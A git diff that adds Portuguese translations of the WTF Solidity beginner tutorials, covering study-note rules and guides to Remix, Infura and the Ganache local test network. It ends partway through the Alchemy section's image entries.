index 000000000..1e823a3f0 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/3.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/NFT.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/NFT.png" new file mode 100644 index 000000000..1e823a3f0 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\220\346\200\273\347\273\223_ShuxunOo/img/NFT.png" differ diff --git a/Languages/pt-br/Topics/StudyNotes/README.md b/Languages/pt-br/Topics/StudyNotes/README.md new file mode 100644 index 000000000..1e375374c --- /dev/null +++ b/Languages/pt-br/Topics/StudyNotes/README.md @@ -0,0 +1,13 @@ +## WTF Solidity Tutorial - Notas de Estudo + +Os membros da comunidade podem publicar suas notas de estudo do WTF Solidity Tutorial neste tópico. + +- Crie uma nova pasta neste diretório para cada nota de estudo. +- Regras de nomenclatura: + - Nome da pasta: comece com `Notes`, seguido pelo número da aula e, por último, seu `Github id` ou apelido. Por exemplo: `Notes_01_HelloWeb3_0xAA`. Se for uma nota de estudo de natureza geral, você pode omitir o nome de uma aula específica e adicionar `Summary` ao nome. Por exemplo: `Notes_Summary_0xAA`. + - Armazenamento de imagens: crie uma pasta `img` dentro da pasta da sua nota de estudo recém-criada e coloque as imagens lá. Por exemplo: `Notes_01_HelloWeb3_0xAA/img/1.png`. + - Armazenamento de notas: armazene as notas no arquivo `readme.md` dentro da pasta da sua nota de estudo recém-criada. +- Requisitos para as notas de estudo: + - Boa legibilidade. + - Originalidade, não copiado. + diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix1.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix1.png new file mode 100644 index 000000000..002533c07 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix1.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix2.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix2.png new file mode 100644 index 000000000..ed844b418 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix2.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix3.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix3.png new file mode 100644 index 000000000..9541f8d95 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix3.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix4.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix4.png new file mode 100644 index 000000000..6ede1c4c3 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix4.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix5.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix5.png new file mode 100644 index 000000000..45b541064 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix5.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix6.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix6.png new file mode 100644 index 000000000..58dfa6f7a Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix6.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix7.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix7.png new file mode 100644 index 000000000..1f885ff0f Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix7.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix8.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix8.png new file mode 100644 index 000000000..26657d6d8 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix8.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix9.png b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix9.png new file mode 100644 index 000000000..19d57a2a3 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL01_Remix/img/remix9.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL01_Remix/readme.md b/Languages/pt-br/Topics/Tools/TOOL01_Remix/readme.md new file mode 100644 index 000000000..14807f8e5 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL01_Remix/readme.md @@ -0,0 +1,79 @@ +# WTF Solidity Simplified Introduction - Tool 1: Remix + +Recentemente, estou estudando solidity novamente para revisar os detalhes e escrever um "WTF Solidity Simplified Introduction" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão publicadas de 1 a 3 aulas por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade técnica do WTF no Discord, com informações sobre como entrar no grupo do WeChat: [link](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +`Remix` é uma IDE oficialmente recomendada para o desenvolvimento de contratos inteligentes no Ethereum e é muito fácil de usar. O Remix permite que você implante e teste contratos inteligentes diretamente no navegador, sem a necessidade de instalar ou configurar qualquer programa. Nesta aula, vamos aprender como implantar um contrato usando o Remix e chamar suas funções. + +**Site oficial do Remix**: [remix.ethereum.org](https://remix.ethereum.org) + +## 1. Abrindo o Remix +![Layout do Remix](./img/remix1.png) + +Abra o site oficial do Remix e você verá que ele é composto por quatro painéis: +1. Painel de ícones: contém ícones que representam diferentes funcionalidades. Ao clicar em um ícone, a funcionalidade correspondente será exibida no painel lateral. +2. Painel lateral: contém a interface gráfica de várias funcionalidades. +3. Painel principal: editor de código. +4. Terminal: exibe os resultados da interação com a interface gráfica e também pode ser usado para executar scripts. + +## 2. Painel de ícones +![Painel de ícones](./img/remix2.png) + +O painel de ícones possui quatro ícones padrão, sendo que "File" (Arquivo), "Compile" (Compilar) e "Deploy" (Implantar) são os mais utilizados. Quando você adiciona mais plugins do Remix, eles também serão exibidos no painel de ícones. + +## 3. Implantação de um contrato simples +### i. Selecionando o arquivo do contrato +Primeiro, clique no ícone "File" para abrir o painel lateral de navegação de arquivos. +![Ícone de arquivo](./img/remix3.png) + +No painel de navegação de arquivos, você pode gerenciar seu workspace, pastas e arquivos. +![Painel de navegação de arquivos](./img/remix4.png) + +Dentro da pasta "contract", existem três exemplos de contratos fornecidos pelo Remix: "1_Storage.sol", "2_Owner.sol" e "3_Ballot.sol". + +Clique em "1_Storage.sol" e o código será exibido no editor de código do painel principal. Este contrato é muito simples: ele possui uma variável de estado chamada "number" que armazena um número do tipo "uint256" na blockchain; ele também possui duas funções, "store()" que atribui um número à variável "number" e "retrieve()" que exibe o valor da variável "number". + +### ii. Compilando +Em seguida, clique no ícone "Compile" para abrir o "Solidity Compiler". Aqui, selecione a versão "Solidity 0.8.7" e clique no botão "Compile 1_Storage.sol" para compilar o contrato. Quando o contrato for compilado com sucesso, o ícone "Compile" ficará marcado com um sinal de verificação verde. + +![Compilação](./img/remix5.png) + +Você também pode experimentar habilitar a otimização ("Enable Optimization") e definir o número de vezes como "200", o que às vezes pode reduzir o consumo de "gas". + +### iii. Implantação +Agora, vamos implantar o contrato compilado em uma máquina virtual local ou na blockchain. Primeiro, clique no ícone "Deploy" para abrir a página de implantação. + +![Implantação](./img/remix6.png) + +Na seção "ENVIRONMENT", você pode selecionar o ambiente de implantação. O padrão é "JavaScript VM", onde todas as transações são executadas em uma blockchain local no navegador, usando o endereço da carteira virtual fornecido pelo Remix. Você também pode selecionar "Injected Web3" para conectar sua carteira Metamask e executar as transações na blockchain real. + +Aqui, vamos selecionar "JavaScript VM" e você poderá ver o endereço de teste atribuído pela máquina virtual na seção "ACCOUNT". Não é necessário ajustar o "Gas" nem enviar "ETH" para o contrato. Na seção "CONTRACT", selecione o contrato "Storage" que você deseja implantar. Como o arquivo "1_Storage.sol" contém apenas um contrato, ele será selecionado automaticamente. No entanto, se o arquivo contiver vários contratos, você precisará selecionar manualmente o contrato que deseja implantar. + +Clique no botão "DEPLOY" para concluir a implantação! + +**Observação**: Se você escolher "Injected Web3" para implantar o contrato, cada transação será registrada na blockchain e exigirá a confirmação e o pagamento de "gas" pela carteira. + +### iv. Chamando as funções +Após a implantação bem-sucedida do contrato, você pode encontrar o contrato implantado "Storage" em "Deployed Contracts". Expanda-o e você verá todas as funções externas: "store" e "retrieve". + +![Chamando as funções](./img/remix7.png) + +Digite "100" na caixa de texto da função "store" e clique no nome da função para chamá-la. Após a chamada bem-sucedida, você poderá ver as informações de "log" no terminal e clicar no botão "Debug" para ver os detalhes da transação. + +![Detalhes da transação](./img/remix8.png) + +Em seguida, chame a função "retrieve" para exibir o valor atualizado da variável "number", que agora deve ser "100". + +![Variável atualizada para 100, chamada bem-sucedida](./img/remix9.png) + +## Conclusão + +Nesta aula, aprendemos como compilar, implantar e chamar contratos inteligentes usando o Remix. + diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura1.png b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura1.png new file mode 100644 index 000000000..0f21bc49e Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura1.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura2.png b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura2.png new file mode 100644 index 000000000..25a994ba4 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura2.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura3.png b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura3.png new file mode 100644 index 000000000..1f4a750ef Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura3.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura4.png b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura4.png new file mode 100644 index 000000000..7ebb0fb7b Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura4.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura5.png b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura5.png new file mode 100644 index 000000000..58e0fa80d Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura5.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura6.png b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura6.png new file mode 100644 index 000000000..dae15f6eb Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura6.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura7.png b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura7.png new file mode 100644 index 000000000..92af108ad Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL02_Infura/img/infura7.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL02_Infura/readme.md b/Languages/pt-br/Topics/Tools/TOOL02_Infura/readme.md new file mode 100644 index 000000000..1ea94bda2 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL02_Infura/readme.md @@ -0,0 +1,80 @@ +# WTF Solidity极简入门-工具篇2:Infura, 连接链下与链上的桥梁 + +Eu recentemente comecei a estudar solidity novamente, revisando os detalhes e escrevendo um "Guia WTF Solidity para Iniciantes", para ajudar os novatos. Serão lançadas de 1 a 3 aulas por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade técnica WTF no Discord, com informações sobre como entrar no grupo do WeChat: [link](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- +`Infura` é uma infraestrutura de blockchain desenvolvida pela Consensys (empresa-mãe da carteira MetaMask) que ajuda os usuários/desenvolvedores a interagirem melhor com a blockchain Ethereum. + +## Conectando aplicativos e a blockchain + +![Interação entre off-chain e on-chain](./img/infura1.png) + +Os aplicativos Dapp desenvolvidos na Ethereum (off-chain) precisam interagir com a blockchain (on-chain). No início, havia pouca infraestrutura na Ethereum, então os desenvolvedores precisavam implantar um nó Ethereum localmente para realizar a interação entre off-chain e on-chain, o que era muito complicado e demorava vários dias. + +O Infura construiu uma ponte entre off-chain e on-chain, tornando a interação entre os dois mais simples. Ele fornece acesso instantâneo e escalável à API do Ethereum e da rede IPFS. Após se registrar no site do Infura, os desenvolvedores podem solicitar gratuitamente uma chave de API Ethereum e usar os nós do Infura para interagir com a blockchain. Além disso, a carteira MetaMask possui o serviço do Infura integrado, facilitando o acesso à rede Ethereum para os usuários. + +## Criando uma chave de API do Infura + +### 1. Abra o site do Infura e faça o registro + +URL: [infura.io](https://infura.io) +![Site do Infura](./img/infura2.png) + +### 2. Crie uma chave de API +Após se registrar, acesse o painel de controle (Dashboard) e clique no botão **CREATE NEW KEY** no canto superior direito. + +![Criar chave de API](./img/infura3.png) + +### 3. Preencha as informações da chave de API + +Selecione **Web3 API (Formerly Ethereum)** em `NETWORK`, ou em algumas versões pode aparecer apenas **Ethereum**. Preencha o campo `NAME` com qualquer nome, como "WTF", e clique no botão **CREATE**. + +![Preencher informações](./img/infura4.png) + +### 4. Chave de API criada + +Volte para o painel de controle (Dashboard) e você verá que a chave de API chamada "WTF" foi criada. Clique no botão **MANAGE KEY** para ver os detalhes da chave de API. + +![Chave de API criada](./img/infura5.png) + +### 5. Ver detalhes da chave de API + +Na página de detalhes da chave de API, você encontrará a sua chave de API (um conjunto de chaves que começa com "184d" na imagem). Na seção **NETWORK ENDPOINT** abaixo, você encontrará o link para o nó RPC da mainnet ou testnet da Ethereum, que pode ser usado para acessar e interagir com os dados da blockchain. Além disso, você pode solicitar nós RPC Layer2 gratuitos, como Polygon, Optimism e Arbitrum, mas é necessário vincular um cartão de crédito Visa. Durante o airdrop do Optimism, os nós RPC públicos ficaram congestionados, mas as pessoas que usavam nós RPC privados do Infura puderam receber normalmente. + +![Ver informações](./img/infura6.png) + +## Usando a chave de API do Infura +### JavaScript (`ethers.js`) +No `ethers.js`, você pode usar a chave de API do Infura para criar um `JsonRpcProvider` e interagir com a blockchain. + +```javascript +const { ethers } = require("ethers"); +// Insira sua chave de API do Infura +const INFURA_ID = '' +const provider = new ethers.providers.JsonRpcProvider(`https://mainnet.infura.io/v3/${INFURA_ID}`) +``` + +### Carteira MetaMask + +Acesse as configurações da carteira MetaMask, vá para a página de **Setting**, clique em **Network** e depois em **Add Network**. Você pode adicionar a rede Layer2 do Optimism no MetaMask usando os seguintes parâmetros: + +``` +Nome da rede (Network Name): Optimism +URL RPC: insira o link RPC do Optimism que você solicitou no Infura +ID da rede (Chain ID): 10 +Símbolo da rede (Chain Symbol): ETH +URL do explorador de blockchain (Blockchain Explorer URL): https://optimistic.etherscan.io +``` + +![Configurando RPC privado no MetaMask](./img/infura7.png) + +## Conclusão + +Nesta aula, aprendemos como criar e usar uma chave de API do Infura para acessar a blockchain Ethereum de forma conveniente. + diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-1.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-1.png new file mode 100644 index 000000000..5bf1dab22 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-1.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-10.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-10.png new file mode 100644 index 000000000..eb64886ff Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-10.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-11.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-11.png new file mode 100644 index 000000000..461f5000b Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-11.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-12.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-12.png new file mode 100644 index 000000000..c0dc6f2b7 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-12.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-13.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-13.png new file mode 100644 index 000000000..c0dc6f2b7 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-13.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-14.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-14.png new file mode 100644 index 000000000..698f50ac7 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-14.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-15.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-15.png new file mode 100644 index 000000000..b4fdd664e Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-15.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-16.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-16.png new file mode 100644 index 000000000..8dc88b5e8 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-16.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-17.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-17.png new file mode 100644 index 000000000..ac94be3ba Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-17.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-2.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-2.png new file mode 100644 index 000000000..2607061d1 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-2.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-3.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-3.png new file mode 100644 index 000000000..295d33fcf Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-3.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-4.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-4.png new file mode 100644 index 000000000..0c3d829ca Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-4.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-5.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-5.png new file mode 100644 index 000000000..6d0c717f4 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-5.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-6.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-6.png new file mode 100644 index 000000000..f37922f1d Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-6.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-7.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-7.png new file mode 100644 index 000000000..cb9a20a13 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-7.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-8.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-8.png new file mode 100644 index 000000000..b0d788ab7 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-8.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-9.png b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-9.png new file mode 100644 index 000000000..412df9b72 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/img/ganache-9.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL03_Ganache/readme.md b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/readme.md new file mode 100644 index 000000000..e88b1d394 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL03_Ganache/readme.md @@ -0,0 +1,241 @@ +# WTF Solidity Simplified Introduction - Tools Part 3: Ganache, Setting Up a Local Test Network + +I've been relearning Solidity recently to reinforce the details and write a "WTF Solidity Simplified Introduction" for beginners to use. I will update it with 1-3 lessons every week. + +Feel free to follow me on Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Join the WTF Tech Community Discord for information on joining the WeChat group: [Link](https://discord.gg/5akcruXrsk) + +All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +`Ganache` is an Ethereum blockchain network for "development scenarios" (or during the development process). It makes developing Ethereum applications faster, easier, and more secure. It includes all popular RPC features and capabilities (such as events) and can run deterministically to make development a breeze. + +> You can think of Ganache as an Ethereum blockchain "simulator" that "simulates" the production environment during the development process, making it easy to access the context of contract calls. + +> ⚠️ Note: **Do not use Ganache as a blockchain network in a production environment**. If needed, use node applications like Geth or OpenEthereum. + +Ganache also has a GUI version that is suitable for quickly configuring and using it for beginners. + +## Ganache Project Facilities + +- Official website: [https://trufflesuite.com/ganache/](https://trufflesuite.com/ganache/) +- Documentation: [https://trufflesuite.com/docs/ganache/](https://trufflesuite.com/docs/ganache/) +- GitHub: + - UI: [https://github.com/trufflesuite/ganache-ui](https://github.com/trufflesuite/ganache-ui) + - CLI: [https://github.com/trufflesuite/ganache](https://github.com/trufflesuite/ganache) + - Deprecated version: [https://github.com/trufflesuite/ganache-cli](https://github.com/trufflesuite/ganache-cli) +- Documentation for command line/npm: [https://trufflesuite.com/blog/introducing-ganache-7/](https://trufflesuite.com/blog/introducing-ganache-7/) + +> ⚠️ Note: The GitHub repo on Ganache's official website is for the UI version. The CLI version can be found on npm as `ganache` & `ganache-cli`, with `ganache-cli` being deprecated. + +## Why Use Ganache? + +Ganache has the following main features: +- Out-of-the-box, quickly start an EVM blockchain network (can set miner and block time). +- Conveniently fork an existing blockchain network (no need to wait for block synchronization). +- Use `console.log` for easy debugging during Solidity development. +- [Fast-forward time](https://trufflesuite.com/blog/introducing-ganache-7/#6-fast-forward-time) to simulate the state of smart contracts in the future. +- Simulate any account (you can simulate the environment of any user's token without needing their private key). + +Sometimes, when you want to test a contract or do some contract development, you need to get ETH from a testnet. Sometimes, the faucet doesn't have any ETH to give. In this case, you can fork a network locally and generate as much ETH as you want. The principle is to fork a mainnet network to run locally (or a locally running chain). + +Forking the mainnet also has the benefit of being able to directly mock all the environments on the mainnet, such as token balances on DEX exchanges. If you know the contract address, you can directly test and use them. + +## Command Line Installation (Recommended) + +[Complete package description for ganache - npm](https://www.npmjs.com/package/ganache) +```shell +npm install ganache --global +``` +You can also install it separately in your project directory (without using `--global`) and configure the script in `package.json` to start it. +After Ganache 7, you can import and use it directly in node.js JavaScript scripts. It will provide an [EIP-1193 (Ethereum Provider JavaScript API)](https://eips.ethereum.org/EIPS/eip-1193) provider, a JSON-RPC server, Web3.js & ethers providers. You can also use it in [browsers](https://github.com/trufflesuite/ganache#browser-use). + +### Starting Ganache + +```shell +ganache +``` + +### Help / Instructions +``` +ganache --help +``` +With the help command, you can learn about the main features and related configuration methods and parameters of Ganache. This includes: +- **Chain**: Set the network version, ID, time, contract size limit, and hard fork version rules. +- **Database**: Set the database to save the chain. +- **Logging**: Set EVM opcodes, log RPC requests and responses. +- **Miner**: Set the miner, including block time, default gas price, Txn gas limit, difficulty, instamine, price increase. +- **Wallet**: Set the default balance and unlock the wallet. +- **Fork**: Set the forked network, including fork target network RPC URL, block height, userAgent, cache strategy, and support for providing username/password (if the target RPC has Basic Authentication). +- **Server**: Set the listening address and port for the local chain. + +### Forking the Mainnet + +The following command will automatically generate 10 ETH accounts, each with a balance of 100 ETH. + +```shell +ganache -f https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY +``` + +You can also fork other Ethereum blockchain networks, such as BSC, Polygon, Astar, etc. You need to find and use their RPC nodes. + +### Forking the Mainnet with Fixed Accounts + +The `wallet.accounts` main parameters are the private key and the amount of ETH to generate. + +Note that the unit is `wei`. In the example, it is converted to `1000 ETH`. + +```shell +ganache -f https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY --wallet.accounts=ACCOUNT_PRIVATE_KEY,AMOUNT_WEI --wallet.accounts=ACCOUNT_PRIVATE_KEY,1000000000000000000000 +``` + +### Fast Forwarding Time + +Reasons or scenarios for manipulating time: some contracts lock users' tokens and have a release period/time to gradually release these locked tokens, or allow users to perform certain operations at a specific future time. + +Ganache allows us to advance the time on the blockchain using RPC calls (methods `evm_increaseTime` and `evm_setTime`). + +In most cases, we cannot wait for this time, so we can use `evm_increaseTime` to **increase the current timestamp of the blockchain by a specified amount of time** (in seconds, passed in hexadecimal format). This will return the total time adjusted in seconds. + +``` +curl -H 'Content-Type: application/json' --data' {"jsonrpc": "2.0", "id": 1, "method": "evm_increaseTime", "params": ["0x15180"] }' http://localhost:8545 +``` + +Additionally, you can use `evm_setTime` to set it to a specific timestamp. It accepts a JavaScript timestamp with millisecond precision and returns the number of seconds between the given timestamp and the current time. + +Here is an example of how it is implemented in a project (very practical): [liquity project contract testing - implementation of the ForwardTime feature](https://github.com/liquity/dev/blob/0c61ed8b7181450da214d4f10a1327c2082bd4f4/packages/contracts/utils/testHelpers.js#L1104-L1119) + +### Using Ganache with GUI + +Not highly recommended, but if you are new to it, you can use it to quickly familiarize yourself with Ganache. + +[Click here to download Ganache - Truffle Suite](https://trufflesuite.com/ganache/) + +#### Client Interface +![](./img//ganache-7.png) + +#### Initializing a New Workspace + +![](./img//ganache-8.png) + +Click on "Quickstart" to quickly start, but note that the default network port for quickstart is 7545. If you are using Remix, you need to modify it. After the startup is complete, it will look like the following: + +![](./img/ganache-9.png) + +You can see the current network RPC server on the first line, with the default address and port being `127.0.0.1:7545`. If you are using the default in Remix, you need to change the port to 7545. + +#### Linking Remix to Ganache + +![](./img/ganache-10.png) + +Select the environment as "ganache provider" and specify the port according to your settings. It should match the port of Ganache. + +![](./img/ganache-11.png) + +Change the port to the default of Ganache, which is `7545`. + +#### Testing Deploying a Contract + +Here you can see the transaction information in the blocks, showing that I deployed a contract address. + +![](./img/ganache-12.png) + +![](./img/ganache-13.png) + +#### Custom Configuration + +Sometimes you may need to customize the configuration, such as the network port or forking the mainnet. You can configure it when initializing the workspace. + +Select "New Workspace" + +![](./img/ganache-14.png) + +#### Setting the Port and Network ID + +Port: You can change the default port 7545 to 8545, depending on your preference. + +![](./img/ganache-15.png) + +#### Forking the Mainnet + +Enter your eth mainnet address in the "ENTER CUSTOM URL" under "Chain Forking". + +![](./img/ganache-16.png) + +#### Setting Fixed Accounts and Balances + +![](./img/ganache-17.png) + +Finally, click "Save Workspace" to start. + +## Connecting Ganache with web3.js/ethers.js + +The local RPC address generated by Ganache is `127.0.0.1:8545`. The default address in the UI is different from the command line, so I made changes above. For example, Remix defaults to using port 8454. + +```js + +// web3.js + +const web3 = new Web3(Web3.givenProvider || "http://127.0.0.1:8545"); + +// ethers.js +const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545"); + +``` + +## Linking Remix to Local Ganache + +Change the environment to Ganache to deploy it on your locally running ETH network. + +![](./img/ganache-1.png) + + +### Testing Deploying a Contract + +Here, we deployed the contract on our locally running Ganache. + +![](./img/ganache-2.png) + +The command line outputs the corresponding deployment details. + +![](./img/ganache-3.png) + +After successful deployment, you can easily call various methods. + +![](./img/ganache-4.png) + +### Deploying a Contract and Checking Vitalik Buterin's Balance + +This contract has a method to check the ETH balance, and since we forked the mainnet, we can check the balance of Vitalik Buterin on our local test network, which should be the same as the balance on the mainnet. + +```solidity +// contracts/GLDToken.sol† +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract XBXToken { + + function getETHBalance(address _address) view external returns(uint256) { + return address(_address).balance; + } + +} + +``` + +[Vitalik Buterin's mainnet wallet address](https://etherscan.io/address/0xab5801a7d398351b8be11c439e05c5b3259aec9b) + +![](./img/ganache-5.png) + +Using Remix to call and check the balance of this address deployed on the local forked network. + +![](./img/ganache-6.png) + +The balance of Vitalik Buterin on the locally forked network matches the balance on the mainnet, indicating a successful test of forking the mainnet. + +## Summary + +In this way, we have successfully forked a mainnet and set up the necessary local environment for contract development. + diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-1.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-1.png new file mode 100644 index 000000000..c14d1bf53 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-1.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-2.png 